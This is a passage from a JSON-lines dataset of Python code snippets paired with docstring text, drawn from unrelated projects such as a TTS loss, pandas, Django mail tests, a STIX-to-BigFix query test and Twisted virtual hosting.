new_list.index(m)if m_isinnewlist:keep_this = new_list[m_indexinnewlist]if not isinstance(keep_this.currentRole, list):keep_this.currentRole = [keep_this.currentRole]keep_this.currentRole.append(m.currentRole)else:new_list.append(m)return new_listdef scan_names(name_list, name1, name2, name3, results=0, ro_thresold=None,_scan_character=False):Scan a list of names, searching for best matches against"} {"code": "def forward(self, logp, text_lengths, mel_lengths): # pylint: disable=no-self-use\n B, T_seq, T_mel = logp.shape\n log_alpha = logp.new_ones(B, T_seq, T_mel) * (-1e4)\n log_alpha[:, 0, 0] = logp[:, 0, 0]\n for t in range(1, T_mel):\n prev_step = torch.cat(\n [log_alpha[:, :, t - 1 : t], functional.pad(log_alpha[:, :, t - 1 : t], (0, 0, 1, -1), value=-1e4)],\n dim=-1,\n )\n log_alpha[:, :, t] = torch.logsumexp(prev_step + 1e-4, dim=-1) + logp[:, :, t]\n alpha_last = log_alpha[torch.arange(B), text_lengths - 1, mel_lengths - 1]\n mdn_loss = -alpha_last.mean() / T_seq\n return mdn_loss\n\n\nclass AlignTTSLoss(nn.Module):\n \"\"\"Modified AlignTTS Loss.\n", "nl": "Shapes:mu: [B, D, T]log_sigma: [B, D, T]mel_spec: [B, D, T]"} {"code": "def batched_dot_mul_sum(a, b):\n a = a.reshape(-1, 1, a.shape[-1])\n b = b.reshape(-1, b.shape[-1], 1)\n return torch.bmm(a, b).flatten(-3)\n\n\nx = torch.randn(10000, 64)\n\nassert batched_dot_mul_sum(x, x).allclose(batched_dot_bmm(x, x))\n\n", "nl": "Computes batched dot by multiplying and summingreturn a.mul(b).sum(-1)def batched_dot_bmm(a, b):Computes batched dot by reducing to bmm"} {"code": "def test_color_initialization():\n components = [1, 2, 3, 4]\n c = Color(*components)\n for name, value in zip(['red', 'green', 'blue', 'alpha'], components):\n assert getattr(c, name) == value\n\n c = Color(alpha=-1)\n for name in ['red', 'green', 'blue', 'alpha']:\n assert getattr(c, name) == 0\n\n assert c._tkdata is None\n\n try:\n from enaml.qt.q_resource_helpers import get_cached_qcolor\n except Exception:\n return\n get_cached_qcolor(c)\n assert c._tkdata is not None\n\n", "nl": "Test the different initialization format supported by Color."} {"code": "def _transform_data(data):\n\n MAX_NUMBER_OF_SAMPLES = 2000\n MIN_NUMBER_OF_SAMPLES = 20\n DATA_THRESHOLD = 10\n\n data_above_thresh = data[data > DATA_THRESHOLD].dropna().values\n n_samples = len(data_above_thresh)\n if n_samples < MIN_NUMBER_OF_SAMPLES:\n return np.zeros((MAX_NUMBER_OF_SAMPLES, 1))\n elif n_samples > MAX_NUMBER_OF_SAMPLES:\n random_indices = np.random.randint(0, n_samples, MAX_NUMBER_OF_SAMPLES)\n resampled = data_above_thresh[random_indices]\n return resampled.reshape(MAX_NUMBER_OF_SAMPLES, 1)\n else:\n return data_above_thresh.reshape(n_samples, 1)\n\n", "nl": "Subsamples if needed and converts to column vector (which is whatscikit-learn requires).Parameters----------data : pd.Series or single column pd.DataFrameReturns-------data_above_thresh : ndarraycolumn vector"} {"code": "def test_log_exception(self):\n mock_logger = Mock()\n\n @log_exceptions(mock_logger)", "nl": "Catch any exception and log it."} {"code": "def groupStrings(self, strings):\n dic = {}\n for s in strings:\n key = self.hashCode(s)\n try:\n dic[key].append(s)\n except KeyError:\n dic[key] = [s]\n return dic.values()\n", "nl": ":type strings: List[str]:rtype: List[List[str]]"} {"code": "def get_send_count():\n try:\n return mail.outbox[-1].anymail_test_params\n except IndexError:\n raise IndexError(\"No messages have been sent through the Anymail test backend\")\n except AttributeError:\n raise AttributeError(\"The last message sent was not processed through the Anymail test backend\")\n\n\n@override_settings(EMAIL_BACKEND='tests.test_general_backend.SettingsTestBackend')\nclass BackendSettingsTests(TestBackendTestCase):\n \"\"\"Test settings initializations for Anymail EmailBackends\"\"\"", "nl": "Returns number of times \"send api\" has been called this testtry:return len(mail.outbox)except AttributeError:return 0 # mail.outbox not initialized by either Anymail test or Django locmem backend@staticmethoddef get_send_params():Returns the params for the most recent \"send api\" call"} {"code": "def is_monotonic(self):\n from pandas import Index\n\n return Index(self).is_monotonic\n\n is_monotonic_increasing = is_monotonic\n\n @property", "nl": "Return boolean if values in the object aremonotonic_increasing.Returns-------bool"} {"code": "def get_path_names():\n\n ``scheme`` is the install scheme name. If not provided, it will", "nl": "Return a tuple containing the paths names.return _SCHEME_KEYSdef get_paths(scheme=_get_default_scheme(), vars=None, expand=True):Return a mapping containing an install scheme."} {"code": "def test_one_obser_not_operator_file(self):\n stix_pattern = \"[ipv4-addr:value NOT LIKE '169.254']\"\n query = translation.translate('bigfix', 'query', '{}', stix_pattern)\n query['queries'] = _remove_timestamp_from_query(query['queries'])\n\n queries = [\n 'true'\n '(\"Local Address\", local address of it as string | \"n/a\", '\n '\"Remote Address\", remote address of it as string | \"n/a\", \"Local port\", local port of it | -1, '\n '\"remote port\", remote port of it | -1, \"Process name\", names of processes of it, pid of process of it '\n 'as string | \"n/a\", \"sha256\", sha256 of image files of processes of it | \"n/a\", \"sha1\", sha1 of image '\n 'files of processes of it | \"n/a\", \"md5\", md5 of image files of processes of it | \"n/a\", pathname of '\n 'image files of processes of it | \"n/a\", ppid of process of it as string | \"n/a\", (if (windows of '\n 'operating system) then user of processes of it as string | \"n/a\" else name of user of processes of it '\n 'as string | \"n/a\"), size of image files of processes of it | 0, (if (windows of operating system) then '\n ' (creation time of process of it | \"01 Jan 1970 00:00:00 +0000\" as time - \"01 Jan 1970 00:00:00 +0000\" '\n 'as time)/second else (start time of process of it | \"01 Jan 1970 00:00:00 +0000\" as time - \"01 Jan '\n '1970 00:00:00 +0000\" as time)/second), \"TCP\", tcp of it, \"UDP\", udp of it) of sockets whose ((NOT (('\n 'local address of it as string contains \"169.254\" as string OR remote address of it as string contains '\n '\"169.254\" as string))) AND (if (windows of operating system) then (creation time of process of it | \"01 '\n 'Jan 1970 00:00:00 +0000\" as time is greater than or equal to \"10 Jan 2013 08:43:10 +0000\" as time AND '\n 'creation time of process of it | \"01 Jan 1970 00:00:00 +0000\" as time is less than or equal to \"23 Oct '\n '2019 10:43:10 +0000\" as time) else (start time of process of it | \"01 Jan 1970 00:00:00 +0000\" as time '\n 'is greater than or equal to \"10 Jan 2013 08:43:10 +0000\" as time AND start time of process of it | \"01 '\n 'Jan 1970 00:00:00 +0000\" as time is less than or equal to \"23 Oct 2019 10:43:10 +0000\" as time))) of '\n 'networktrue']\n queries = _remove_timestamp_from_query(queries)\n self._test_query_assertions(query, queries)\n", "nl": "to test single observation with 'LIKE' operator"} {"code": "def max(x: np.ndarray) -> Tuple[float, np.ndarray]:\n i = np.argmax(x)\n argmax_x = np.zeros_like(x)\n argmax_x[i] = 1\n max_x = x[i]\n return max_x, argmax_x\n\n @staticmethod", "nl": "Solves max_{p \\in \\Delta^d} :param x: _numpy.ndarray, shape = (n,)Vector to project:return: Tuple[float, _numpy.ndarray]max(x), argmax(x)"} {"code": "def create(self, data, return_object=False):\n\n :param user: user id, username or kuberdock.users.models.User object\n :param data: fields to update\n :raises APIError:\n \"\"\"", "nl": "Create userif not license_valid():raise APIError(\"Action forbidden. Please check your license\")data = UserValidator(allow_unknown=True).validate_user(data)role = Role.by_rolename(data['rolename'])package = Package.by_name(data['package'])self.get_client_id(data, package)temp = {key: value for key, value in data.iteritems()if value != '' and key not in ('package', 'rolename',)}user = User(**temp)user.role = roleuser.package = packagedb.session.add(user)db.session.flush()if return_object:return userreturn dict(user.to_dict(full=True),actions=self._get_applicability(user))@atomic(APIError(\"Couldn't update user.\", 500, 'UserUpdateError'),nested=False)@enrich_tz_with_offset(['timezone'])def update(self, user, data):Update user"} {"code": "def uCSIsLinearBIdeograms(code):\n ret = libxml2mod.xmlUCSIsLinearBIdeograms(code)\n return ret\n", "nl": "Check whether the character is part of LinearBIdeograms UCSBlock "} {"code": "def test_one_row_one_cell_one_paragraph(self):\n\n document = WordprocessingDocumentFactory()\n document.add(MainDocumentPart, document_xml)\n\n expected_html = '''\n self.assert_document_generates_html(document, expected_html)\n", "nl": "document_xml =

Foo

"} {"code": "def join(self, df):\n if self.user_feat is not None and self.uid_field in df:\n df.update(self.user_feat[df[self.uid_field]])\n if self.item_feat is not None and self.iid_field in df:\n df.update(self.item_feat[df[self.iid_field]])\n return df\n", "nl": "Given interaction feature, join user/item feature into it.Args:df (Interaction): Interaction feature to be joint.Returns:Interaction: Interaction feature after joining operation."} {"code": "def save_getitem(_self, key):\n with mp_lock:\n get_pipe[0].send(key)\n item, err = get_pipe[0].recv()\n if err is not None:\n raise err\n return item\n", "nl": "Get an item"} {"code": "def test_retrieve_document_count(self):\n self.populate_db_with_documents(6)\n self.assertEqual(self.db.doc_count(), 6)\n", "nl": "Test retrieving the number of documents currently in the database"} {"code": "def pixel2world_single_axis(wcs, *pixel, world_axis=None):\n\n if world_axis is None:\n raise ValueError(\"world_axis needs to be set\")\n\n if np.size(pixel[0]) == 0:\n return np.array([], dtype=float)\n\n original_shape = pixel[0].shape\n pixel_new = []\n\n pixel_dep = wcs.axis_correlation_matrix[world_axis, :]\n\n for ip, p in enumerate(pixel):\n if pixel_dep[ip]:\n pixel_new.append(unbroadcast(p))\n else:\n pixel_new.append(p.flat[0])\n pixel = np.broadcast_arrays(*pixel_new)\n\n result = wcs.pixel_to_world_values(*pixel)\n\n return broadcast_to(result[world_axis], original_shape)\n\n", "nl": "Convert pixel to world coordinates, preserving input type/shape.This is a wrapper around pixel_to_world_values which returns the result forjust one axis, and also determines whether the calculation can be sped upif broadcasting is present in the input arrays.Parameters----------*pixel : array-likeThe pixel coordinates (0-based) to convert.world_axis : `int`, optionalThe index of the world coordinate that is needed.Returns-------world : :class:`~numpy.ndarray`The world coordinates for the requested axis."} {"code": "def options(opt):", "nl": "This is how to provide compiler preferences on the command-line::$ waf configure --check-d-compiler=dmd"} {"code": "def normalvariate(self, mu, sigma):\n\n\n random = self.random\n while 1:\n u1 = random()\n u2 = 1.0 - random()\n z = NV_MAGICCONST*(u1-0.5)/u2\n zz = z*z/4.0\n if zz <= -_log(u2):\n break\n return mu + z*sigma\n\n", "nl": "Normal distribution.mu is the mean, and sigma is the standard deviation."} {"code": "def test_getChild(self):\n virtualHostResource = NameVirtualHost()\n leafResource = Data(b\"leaf data\", \"\")\n leafResource.isLeaf = True\n normResource = Data(b\"norm data\", \"\")\n virtualHostResource.addHost(b'leaf.example.org', leafResource)\n virtualHostResource.addHost(b'norm.example.org', normResource)\n\n request = DummyRequest([])\n request.requestHeaders.addRawHeader(b'host', b'norm.example.org')\n request.prepath = [b'']\n\n self.assertIsInstance(virtualHostResource.getChild(b'', request),\n NoResource)\n self.assertEqual(request.prepath, [b''])\n self.assertEqual(request.postpath, [])\n\n request = DummyRequest([])\n request.requestHeaders.addRawHeader(b'host', b'leaf.example.org')\n request.prepath = [b'']\n\n self.assertIsInstance(virtualHostResource.getChild(b'', request),\n Data)\n self.assertEqual(request.prepath, [])\n self.assertEqual(request.postpath, [b''])\n\n\n\nclass VHostMonsterResourceTests(TestCase):\n \"\"\"", "nl": "L{NameVirtualHost.getChild} returns correct I{Resource} based offthe header and modifies I{Request} to ensure proper prepath andpostpath are set."} {"code": "def from_training_data(cls, structures: List[StructureOrMolecule], targets: VectorLike, is_intensive: bool = True):\n return cls()", "nl": "Args:structures (list): list of structures/moleculestargets (list): vector of target propertiesis_intensive (bool): whether the target is intensiveReturns: DummyScaler"} {"code": "def get_pod_ip(pod_name_prefix):\n pod_name_prefix = pod_name_prefix + \"-\"\n out, err, rc = run_command_to_completion_with_raw_stdout('kubectl -n voltha get pods -o wide | grep ' +\n pod_name_prefix)\n tokens = out.split()\n return tokens[5]", "nl": "This function works only in the single-node Kubernetes environment, wherethe name of a Voltha pod may look something like 'vcore-64ffb9b49c-sstfn'.The function searches for the pod whose name is prefixed with 'vcore-'and returns the IP address of that pod.In the Kubernetes clustered environment, there would likely be multiple podsso named, in which case the target pod sought could not be found.TODO: Investigate other CLIs or APIs that could be used to determine the pod IP."} {"code": "def handle_delayed_teleport(self) -> None:\n if self.delayed_teleport:\n self.stop_player()\n self.lock_controls()\n\n map_name = prepare.fetch(\"maps\", self.delayed_mapname)\n\n if map_name != self.current_map.filename:\n self.change_map(map_name)\n\n self.player.set_position((self.delayed_x, self.delayed_y))\n\n if self.delayed_facing:\n self.player.facing = self.delayed_facing\n self.delayed_facing = None\n\n self.delayed_teleport = False\n", "nl": "Call to teleport player if delayed_teleport is set.* Load a map* Move player* Send data to network about teleport"} {"code": "def print_numpy(x, val=True, shp=False):\n x = x.astype(np.float64)\n if shp:\n print(\"shape,\", x.shape)\n if val:\n x = x.flatten()\n print(\n \"mean = %3.3f, min = %3.3f, max = %3.3f, median = %3.3f, std=%3.3f\"\n % (np.mean(x), np.min(x), np.max(x), np.median(x), np.std(x))\n )\n\n", "nl": "Print the mean, min, max, median, std, and size of a numpy arrayParameters:val (bool) -- if print the values of the numpy arrayshp (bool) -- if print the shape of the numpy array"} {"code": "def get_metadata(self, idx, exclude_keywords=[], include_keywords=[]):\n idx = str(idx)\n meta_df = self.dataset.metadata\n ml_df = self.anomaly_scores\n\n try:\n out_dict = {}\n if len(include_keywords) != 0:\n cols = include_keywords\n else:\n cols = meta_df.columns\n\n for col in cols:\n if col not in exclude_keywords:\n out_dict[col] = meta_df.loc[idx, col]\n for col in ml_df.columns:\n if col not in exclude_keywords:\n out_dict[col] = ml_df.loc[idx, col]\n\n for key in (list)(out_dict.keys()):\n try:\n formatted_val = '%.3g' % out_dict[key]\n out_dict[key] = formatted_val\n except TypeError:\n pass\n return out_dict\n except KeyError:\n return {}\n", "nl": "Returns the metadata for an instance in a format ready for display.Parameters----------idx : strIndex of the objectexclude_keywords : list, optionalAny keywords to exclude being displayedinclude_keywords : list, optionalAny keywords that should be displayedReturns-------dictDisplay-ready metadata"} {"code": "def get_targets(self, sample, net_output):\n return self.get_normalized_probs_scriptable(net_output, log_probs, sample)\n", "nl": "Get targets from either the sample or the net's output.return sample[\"target\"]def get_normalized_probs(self,net_output: Tuple[Tensor, Dict[str, List[Optional[Tensor]]]],log_probs: bool,sample: Optional[Dict[str, Tensor]] = None,):Get normalized probabilities (or log probs) from a net's output."} {"code": "def hoist(self, params, **kwargs):\n if self._header_name not in params['headers']:\n return\n header_value = params['headers'][self._header_name]\n self._ensure_header_is_valid_host(header_value)\n original_url = params['url']\n new_url = self._prepend_to_host(original_url, header_value)\n params['url'] = new_url\n", "nl": "Hoist a header to the hostname.Hoist a header to the beginning of the hostname with a suffix \".\" afterit. The original header should be removed from the header map. Thismethod is intended to be used as a target for the before-call event."} {"code": "def gluon_resnet50_v1c(pretrained=False, **kwargs):\n model_args = dict(block=Bottleneck, layers=[3, 4, 6, 3], stem_width=32, stem_type='deep', **kwargs)\n return _create_resnet('gluon_resnet50_v1c', pretrained, **model_args)\n\n\n@register_model", "nl": "Constructs a ResNet-50 model."} {"code": "def test_divisibleby(value, num):\n\n .. sourcecode:: jinja\n", "nl": "Check if a variable is divisible by a number.return value % num == 0def test_defined(value):Return true if the variable is defined:"} {"code": "def process_items(self, objs):", "nl": "process items:param objs: objs:return:"} {"code": "def get(self):\n search_term = request.args.get(\"q\", \"\")\n\n queries = self.get_queries(search_term)\n\n results = filter_by_tags(queries, models.Query.tags)\n\n ordered_results = order_results(results, fallback=not bool(search_term))\n\n page = request.args.get(\"page\", 1, type=int)\n page_size = request.args.get(\"page_size\", 25, type=int)\n\n response = paginate(\n ordered_results,\n page=page,\n page_size=page_size,\n serializer=QuerySerializer,\n with_stats=True,\n with_last_modified_by=False,\n )\n\n if search_term:\n self.record_event(\n {\"action\": \"search\", \"object_type\": \"query\", \"term\": search_term}\n )\n else:\n self.record_event({\"action\": \"list\", \"object_type\": \"query\"})\n\n return response\n\n", "nl": "Retrieve a list of queries.:qparam number page_size: Number of queries to return per page:qparam number page: Page number to retrieve:qparam number order: Name of column to order by:qparam number q: Full text search termResponds with an array of :ref:`query ` objects."} {"code": "def recursive_keys(dictionary):\n if new_config is None:\n new_config = {}\n for k in config_l:\n if k not in config_r or config_l[k] == config_r[k]:\n new_config[k] = config_l[k]\n else:\n assert type(config_l[k]) in [dict, DottedDict] and type(config_r[k]) in [\n dict,\n DottedDict,\n ], f\"You have two conflicting values for key {k}: {config_l[k]} vs {config_r[k]}\"\n new_config[k] = merge_configs(config_l[k], config_r[k])\n for k in config_r:\n if k not in config_l or config_l[k] == config_r[k]:\n new_config[k] = config_r[k]\n return new_config\n\n", "nl": "Recursively yields all keys of dict.for key, value in dictionary.items():if type(value) is dict:yield keyyield from recursive_keys(value)else:yield keydef merge_configs(config_l, config_r, new_config=None):Merge two dotted dict configs."} {"code": "def __add__(self, other):\n pub = elist[0].pub\n G = pub.group\n as_l = [e.a for e in elist]\n bs_l = [e.b for e in elist]\n\n new_a = G.sum(as_l)\n new_b = G.sum(bs_l)\n\n return Ct(pub, new_a, new_b)\n", "nl": " Add two ciphertexts, to produce a ciphertext of their sums. Also handles addition with a constant. o = self.pub.group.order()g = self.pub.group.generator()if isinstance(other, int):# Case for int othernew_b = self.b + _n_table[(o + other) % o] # other * gnew_k, new_m = None, Noneif self.k is not None:new_m = self.m + other # self.m.mod_add( other, o)return Ct(self.pub, self.a, new_b, self.k, new_m)else:# Case for ciphertext otherif __debug__:assert self.pub == other.pubnew_a = self.a + other.anew_b = self.b + other.bnew_k, new_m = None, Noneif self.k is not None and other.k is not None:new_k = self.k.mod_add( other.k, o)new_m = self.m + other.m # self.m.mod_add(other.m, o)return Ct(self.pub, new_a, new_b, new_k, new_m)@staticmethoddef sum(elist): Sums a number of Cts "} {"code": "def get_length(x) -> int:\n if \"length\" in x:\n val = x[\"length\"]\n else:\n val = x.header.value[\"length\"]\n\n return bool(val == 32)\n\n\nclass TimeAdapter(Adapter):\n \"\"\"Adapter for timestamp conversion.\"\"\"", "nl": "Return total packet length.datalen = x._.data.length # type: intreturn datalen + 32@staticmethoddef is_hello(x) -> bool:Return if packet is a hello packet."} {"code": "def setUp(self):\n metadata = self.col.metadata\n groupings = [(metadata[x], metadata[y]) for x, y in self.col.possible_groupings()]\n possible_groupings = [\n (1.0, 2.0), (2.0, 3.0), (3.0, 4.0), (4.0, 5.0), (1.0, ''), (2.0, ''), (3.0, ''),\n (4.0, ''), (5.0, ''), (10.0, '')\n ]\n assert list_unordered_equal(possible_groupings, groupings), 'With NaNs, before any groups are identified, possible grouping are incorrectly calculated.'\n\n groups = list(self.col.groups())\n groups = [[self.col.metadata[i] for i in group] for group in self.col.groups()]\n actual_groups = [[1.0], [2.0], [3.0], [4.0], [5.0], [''], [10.0]]\n assert list_unordered_equal(actual_groups, groups), 'With NaNs, before any groups are identified, actual groupings are incorrectly reported'\n", "nl": " Setup for grouping tests arr = np.array([1.0, 2.0, nan, 3.0, 3.0, nan, 3.0, 3.0, nan, 4.0, 5.0, 10.0])self.col = CHAID.OrdinalColumn(arr)def test_possible_groups(self): Ensure possible groups are only adjacent numbers "} {"code": "def __init__(self, algorithm):\n self.algorithm = algorithm\n self.primes = []\n", "nl": "Constructor, takes a lass called algorithm.algorithm should have a function called calculate which will take alimit argument and return an iterable of prime numbers below thatlimit."} {"code": "def __str__(self):\n return \"({0}{1})\".format(\n operator2str(self.operator),\n \"\".join(str(subfilter) for subfilter in self.subfilters),\n )\n", "nl": "String representation"} {"code": "def compare_networks(self, other):\n if self._version < other._version:\n return -1\n if self._version > other._version:\n return 1\n if self.network < other.network:\n return -1\n if self.network > other.network:\n return 1\n if self.netmask < other.netmask:\n return -1\n if self.netmask > other.netmask:\n return 1\n return 0\n", "nl": "Compare two IP objects.This is only concerned about the comparison of the integerrepresentation of the network addresses. This means that thehost bits aren't considered at all in this method. If you wantto compare host bits, you can easily enough do a'HostA._ip < HostB._ip'Args:other: An IP object.Returns:If the IP versions of self and other are the same, returns:-1 if self < other:eg: IPv4('1.1.1.0/24') < IPv4('1.1.2.0/24')IPv6('1080::200C:417A') < IPv6('1080::200B:417B')0 if self == othereg: IPv4('1.1.1.1/24') == IPv4('1.1.1.2/24')IPv6('1080::200C:417A/96') == IPv6('1080::200C:417B/96')1 if self > othereg: IPv4('1.1.1.0/24') > IPv4('1.1.0.0/24')IPv6('1080::1:200C:417A/112') >IPv6('1080::0:200C:417A/112')If the IP versions of self and other are different, returns:-1 if self._version < other._versioneg: IPv4('10.0.0.1/24') < IPv6('::1/128')1 if self._version > other._versioneg: IPv6('::1/128') > IPv4('255.255.255.0/24')"} {"code": "def filter_fun(x):\n mask_path = os.path.join(self.path, mask_name + \".mask\")\n if not os.path.exists(mask_path):\n return list()\n with open(mask_path, \"r\") as fp:\n mask = fp.readlines()\n mask = [x.strip() for x in mask]\n mask = [x for x in mask if x != \"\"]\n mask = [x for x in mask if not x.startswith(\"\n for line in mask:\n if not line.startswith((\"include \", \"exclude \")):\n mess = \"Bad mask in %s\\n\" % mask_path\n mess += line + \"\\n\"\n mess += \"line should start with 'include' or 'exclude'\"\n raise Exception(mess)\n return mask\n", "nl": " Filter Function return qisys.sh.is_runtime(x) and x != \"package.xml\"return qisys.sh.install(self.path, destdir, filter_fun=filter_fun)# avoid install masks and package.xmlmask.append(r\"exclude .*\\.mask\")mask.append(r\"exclude package\\.xml\")return self._install_with_mask(destdir, mask)else:with open(manifest_path, \"r\") as fp:lines = fp.readlines()for line in lines:line = line.strip()src = os.path.join(self.path, line)dest = os.path.join(destdir, line)qisys.sh.install(src, dest)installed_files.append(line)return installed_filesdef _read_install_mask(self, mask_name): Read Install Mask "} {"code": "def collater(self, samples):\n return max(\n dataset.num_tokens(self._map_index(key, index))\n for key, dataset in self.datasets.items()\n )\n", "nl": "Merge a list of samples to form a mini-batch.if len(samples) == 0:return Noneif self.eval_key is None:return OrderedDict([(key, dataset.collater([sample[key] for sample in samples]))for key, dataset in self.datasets.items()])else:# at evaluation time it's useful to pass-through batches from a single keyreturn self.datasets[self.eval_key].collater(samples)def num_tokens(self, index):Return an example's length (number of tokens), used for batching."} {"code": "def test_losesConnection(self):\n data = b\"foo bar baz\"\n return self._testDataForward(\n 200,\n b\"OK\",\n [(b\"Content-Length\", [str(len(data)).encode('ascii')])],\n data,\n loseConnection=False)\n\n", "nl": "If the response contains a I{Content-Length} header, the outgoingconnection is closed when all response body data has been received."} {"code": "def is_dst(self):\n return self.destination\n\n\nclass MultihostMigration(object):\n\n \"\"\"", "nl": ":return: True if host is destination."} {"code": "def triangle_label(label, num_class, radius=4):\n y_sig = np.zeros([num_class])\n x = np.array(range(radius+1))\n y = -1/(radius+1) * x + 1\n y_sig[:radius+1] = y\n y_sig[-radius:] = y[-1:0:-1]\n\n return np.concatenate([y_sig[-label:], y_sig[:-label]], axis=0)\n\n", "nl": "Get triangle label:param label: angle_label/omega:param num_class: angle_range/omega:param radius: window radius:return: triangle label"} {"code": "def __getitem__(self, key):\n if not isinstance(key, int):\n raise TypeError(\"Indices must be integers\")\n\n size = len(self)\n\n if key < 0:\n key += size\n\n if not 0 <= key < size:\n raise IndexError(\"Index out of range\")\n\n if key < len(self._closed_bins):\n return self._closed_bins[key]\n else:\n return self._open_bins[key-len(self._closed_bins)]\n", "nl": "Return bin in selected position. (excluding empty bins)"} {"code": "def kwargs(cls):\n return dict(\n id=256,\n auth=1,\n ednsVersion=None,\n answers=[\n dns.RRHeader(\n b'',\n payload=dns.Record_A('1.2.3.4', ttl=0),\n auth=True)])\n\n\n\nclass MessageComplete:\n \"\"\"\n @classmethod", "nl": "Keyword constructor arguments which are expected to result in aninstance which returns C{bytes} when encoded.@return: A L{dict} of keyword arguments."} {"code": "def POUF_keyGen(params):\n G, g, o = params\n hi = [G.hash_to_point(m) for m in messages]\n ai = [o.random() for _ in messages]\n yi = [a * h for a,h in zip(ai, hi)]\n return ai, yi\n", "nl": "Generate the secret key kG, g, o = paramsreturn o.random()def POUF_blind(params, messages):Blind the messages input to the POUF"} {"code": "def reorder_encoder_out(self, encoder_outs: Optional[List[EncoderOut]], new_order):\n new_outs: List[EncoderOut] = []\n if not self.has_encoder():\n return new_outs\n for i, model in enumerate(self.models):\n assert encoder_outs is not None\n new_outs.append(\n model.encoder.reorder_encoder_out(encoder_outs[i], new_order)\n )\n return new_outs\n\n @torch.jit.export", "nl": "Reorder encoder output according to *new_order*.Args:encoder_out: output from the ``forward()`` methodnew_order (LongTensor): desired orderReturns:*encoder_out* rearranged according to *new_order*"} {"code": "def type(self) -> Type:\n raise AbstractMethodError(self)\n\n @property", "nl": "The scalar type for the array, e.g. ``int``It's expected ``ExtensionArray[item]`` returns an instanceof ``ExtensionDtype.type`` for scalar ``item``, assumingthat value is valid (not NA). NA values do not need to beinstances of `type`."} {"code": "def __init__(self, config=None, defaults=None):", "nl": "Wrapper around the ConfigObj class:param config: Configuration to parse:type config: str, list or File:param defaults: Default options:type defaults: dict"} {"code": "def ip2hexI(ip):\n return hex(reduce(lambda x, y: (x << 8) + y, map(int, ip.split(\".\")))).strip(\"L\")\n\n @staticmethod", "nl": ">>> SSRF.ip2hexI(\"127.0.0.1\")'0x7f000001'"} {"code": "def frame_number(self) -> int:\n return math.trunc(self._cap.get(cv2.CAP_PROP_POS_FRAMES))\n", "nl": "Current position within stream in frames as an int.1 indicates the first frame was just decoded by the last call to `read` with advance=True,whereas 0 indicates that no frames have been `read`.This method will always return 0 if no frames have been `read`."} {"code": "def secret_name(self):\n return self._secret_name\n\n @secret_name.setter", "nl": "Gets the secret_name of this V1AzureFileVolumeSource. # noqa: E501the name of secret that contains Azure Storage Account Name and Key # noqa: E501:return: The secret_name of this V1AzureFileVolumeSource. # noqa: E501:rtype: str"} {"code": "def read(self, size=1024):\n try:\n s = self.fileobj.read1(size)\n except (OSError, IOError) as err:\n if err.args[0] == errno.EIO:\n self.flag_eof = True\n raise EOFError('End Of File (EOF). Exception style platform.')\n raise\n if s == b'':\n self.flag_eof = True\n raise EOFError('End Of File (EOF). Empty string style platform.')\n\n return s\n", "nl": "Read and return at most ``size`` bytes from the pty.Can block if there is nothing to read. Raises :exc:`EOFError` if theterminal was closed.Unlike Pexpect's ``read_nonblocking`` method, this doesn't try to dealwith the vagaries of EOF on platforms that do strange things, like IRIXor older Solaris systems. It handles the errno=EIO pattern used onLinux, and the empty-string return used on BSD platforms and (seemingly)on recent Solaris."} {"code": "def _handle_dict_config(self, log_config):\n new_dict = dict()\n for key in log_config.keys():\n if key == 'filename':\n filename = log_config[key]\n filename = rename_log_file(filename,\n env_name=self.env_name,\n traj_name=self.traj_name,\n set_name=self.set_name,\n run_name=self.run_name)\n new_dict[key] = filename\n try_make_dirs(filename)\n elif isinstance(log_config[key], dict):\n inner_dict = self._handle_dict_config(log_config[key])\n new_dict[key] = inner_dict\n else:\n new_dict[key] = log_config[key]\n return new_dict\n", "nl": "Recursively walks and copies the `log_config` dict and searches for filenames.Translates filenames and creates directories if necessary."} {"code": "def socket_timeout(self):\n has no free sockets.\n \"\"\"", "nl": "How long a send or receive on a socket can take before timing out.return self.__socket_timeout@propertydef wait_queue_timeout(self):How long a thread will wait for a socket from the pool if the pool"} {"code": "def __init__(self, *args, **kwargs): # noqa: E501\n\n _check_type = kwargs.pop('_check_type', True)\n _spec_property_naming = kwargs.pop('_spec_property_naming', False)\n _path_to_item = kwargs.pop('_path_to_item', ())\n _configuration = kwargs.pop('_configuration', None)\n _visited_composed_classes = kwargs.pop('_visited_composed_classes', ())\n\n if args:\n raise ApiTypeError(\n \"Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments.\" % (\n args,\n self.__class__.__name__,\n ),\n path_to_item=_path_to_item,\n valid_classes=(self.__class__,),\n )\n\n self._data_store = {}\n self._check_type = _check_type\n self._spec_property_naming = _spec_property_naming\n self._path_to_item = _path_to_item\n self._configuration = _configuration\n self._visited_composed_classes = _visited_composed_classes + (self.__class__,)\n\n for var_name, var_value in kwargs.items():\n if var_name not in self.attribute_map and \\\n self._configuration is not None and \\\n self._configuration.discard_unknown_keys and \\\n self.additional_properties_type is None:\n continue\n setattr(self, var_name, var_value)", "nl": "UpdateClusterBadRequestExceptionResponseContent - a model defined in OpenAPIKeyword Args:_check_type (bool): if True, values for parameters in openapi_typeswill be type checked and a TypeError will beraised if the wrong type is input.Defaults to True_path_to_item (tuple/list): This is a list of keys or values todrill down to the model in received_datawhen deserializing a response_spec_property_naming (bool): True if the variable names in the input dataare serialized names, as specified in the OpenAPI document.False if the variable names in the input dataare pythonic names, e.g. snake case (default)_configuration (Configuration): the instance to use whendeserializing a file_type parameter.If passed, type conversion is attemptedIf omitted no type conversion is done._visited_composed_classes (tuple): This stores a tuple ofclasses that we have traveled through so thatif we see that class again we will not use itsdiscriminator again.When traveling through a discriminator, thecomposed schema that isis traveled through is added to this set.For example if Animal has a discriminatorpetType and we pass in \"Dog\", and the class DogallOf includes Animal, we move through Animalonce using the discriminator, and pick Dog.Then in Dog, we will make an instance of theAnimal class but this time we won't travelthrough its discriminator because we passed in_visited_composed_classes = (Animal,)message (str): [optional] # noqa: E501configuration_validation_errors ([ConfigValidationMessage]): [optional] # noqa: E501update_validation_errors ([UpdateError]): [optional] # noqa: E501change_set ([Change]): [optional] # noqa: E501"} {"code": "def test_01_delete(self):\n ht = apache.HtdigestFile.from_string(self.sample_01)\n self.assertTrue(ht.set_password(\"user2\", \"realm\", \"pass2x\"))\n self.assertFalse(ht.set_password(\"user5\", \"realm\", \"pass5\"))\n self.assertEqual(ht.to_string(), self.sample_03)\n", "nl": "test delete()ht = apache.HtdigestFile.from_string(self.sample_01)self.assertTrue(ht.delete(\"user1\", \"realm\"))self.assertTrue(ht.delete(\"user2\", \"realm\"))self.assertFalse(ht.delete(\"user5\", \"realm\"))self.assertFalse(ht.delete(\"user3\", 